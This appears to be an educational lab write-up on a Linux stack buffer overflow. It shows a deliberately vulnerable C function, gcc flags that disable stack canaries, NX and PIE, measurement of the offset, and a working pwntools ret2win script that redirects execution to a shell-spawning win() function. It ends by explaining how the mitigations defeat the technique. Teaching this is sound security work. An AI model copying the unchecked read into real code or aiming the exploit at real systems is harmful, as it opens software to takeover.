The other half of the box
The Active Directory series covers the Windows half of a compromise. This is the other half: a program on a Linux box that trusts its input, and the mechanical steps that turn “it crashed” into “I control the instruction pointer.” It is the same shape as everything else I write — enumerate, exploit, then say what it left behind — except the target is one stack frame instead of one domain.
I do this in a Linux container with gcc and pwntools, because that is the environment the technique actually lives in.
A 64-byte buffer that reads 256
The vulnerability is deliberately small so the whole thing fits in one look. parse_session_hdr declares a 64-byte buffer and reads up to 256 bytes into it:
void parse_session_hdr() {
char token[64];
int n = read(0, token, 256); // 256 bytes into a 64-byte buffer
write(1, "[*] parsed: ", 12);
write(1, token, n);
}
The compiler even says so at build time: warning: 'read' writing 256 bytes into a region of size 64 overflows the destination. Real vulnerabilities are exactly this boring — a size check that is missing, or a size constant that is wrong.
I compile it with the modern mitigations turned off so the mechanics are visible:
$ gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none -o authd authd.c
Then checksec tells me what I am working with:
$ checksec ./authd
Arch: amd64-64-little
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
No canary, no PIE, and an executable stack. Each of those is a guard that is now absent, and naming them is the part that generalizes: a canary catches the overwrite before it hits the return address, PIE randomizes the code base, and NX would stop me from executing data I place on the stack. With all three off, the only question is the offset.
The offset is not what the math says
The naive calculation is 64 (buffer) + 8 (saved RBP) = 72. Feed 72 As, then an address, and you are supposed to control RIP. It does not work that way here — the process just returns normally. Feed the payload a bit longer and it segfaults:
$ ./authd < <(python3 -c "print('A'*200)")
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation fault (core dumped)
The reason the naive offset is wrong is that the compiler pads the stack frame for alignment, so the return address is not at buffer + 72. Iterating payload lengths until control actually lands on a chosen address pins it at 88:
offset 64: no (rc=0)
offset 72: no (rc=0)
offset 88: WIN
offset 96: no (rc=-11)
That table is the lesson. 64 + 8 is a guess, not an offset. The real number comes from watching where the crash happens — with a cyclic pattern (cyclic 200 / cyclic_find) in a normal lab, or by simply iterating when you do not have a debugger attached. The point is to measure the offset, not assume it.
Ret2win: point RIP at the flag
The target binary has a win() function it never calls. That is the entire objective — overwrite the return address so that ret lands inside win():
from pwn import *
e = ELF("./authd")
win = e.symbols["win"] # 0x401166
offset = 88
payload = b"A" * offset + p64(win)
p = process("./authd")
p.send(payload)
print(p.recvall(timeout=2).decode(errors="replace"))
Eighty-eight As fill the buffer, the padding, and the saved base pointer; the next eight bytes overwrite the return address with 0x401166; and when parse_session_hdr returns, execution jumps into win():
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...f@
[+] win() reached - RIP is yours
That single line is the whole payoff: the instruction pointer is now under attacker control. win() calls system("/bin/sh"), so in a real engagement that line is the moment a shell drops.
The mitigations are the real content
Turning the three guards back on changes the problem completely:
- Canary (
-fstack-protector): a random value sits between the buffer and the return address; the crash happens beforeret, so a blind overwrite is detected, not executed. - NX (non-executable stack): even with RIP control you cannot jump to shellcode you placed on the stack; you need ROP or a return-to-libc.
- PIE + ASLR: the code base moves every run, so a hardcoded address like
0x401166is worthless; you need a leak first.
Every one of those is a control an operator can turn on with a compile flag or a sysctl, which is the defensive half of this note.
Summary
| Step | Command / result |
|---|---|
| Build the target | gcc -fno-stack-protector -z execstack -no-pie ... |
| Inspect mitigations | checksec → no canary, no PIE, RWX stack |
| Prove the overflow | 200 As → Segmentation fault |
| Measure the offset | 88, not the naive 72 |
| Redirect RIP | b"A"*88 + p64(win) → [+] win() reached |
Evidence and limits
The vulnerable authd binary was compiled and exploited inside an isolated x86-64 Linux container (gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none) to demonstrate the raw stack-frame geometry without mitigation noise. Modern Linux distributions enable stack canaries, NX, PIE, and ASLR by default, which prevent a direct fixed-address ret2win overwrite without a separate information leak and ROP chain.
References
- Felix Cloutier, x86 Instruction Reference: felixcloutier.com/x86
- pwntools: github.com/Gallopsled/pwntools
- OWASP, Buffer Overflow Attack: owasp.org
- MITRE ATT&CK, Exploitation for Client Execution (T1203): attack.mitre.org/techniques/T1203
- Linux man-pages, proc_sys_kernel (5): man7.org
How current is this note?
The latest source-review, content-update, or publication date is shown.
Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

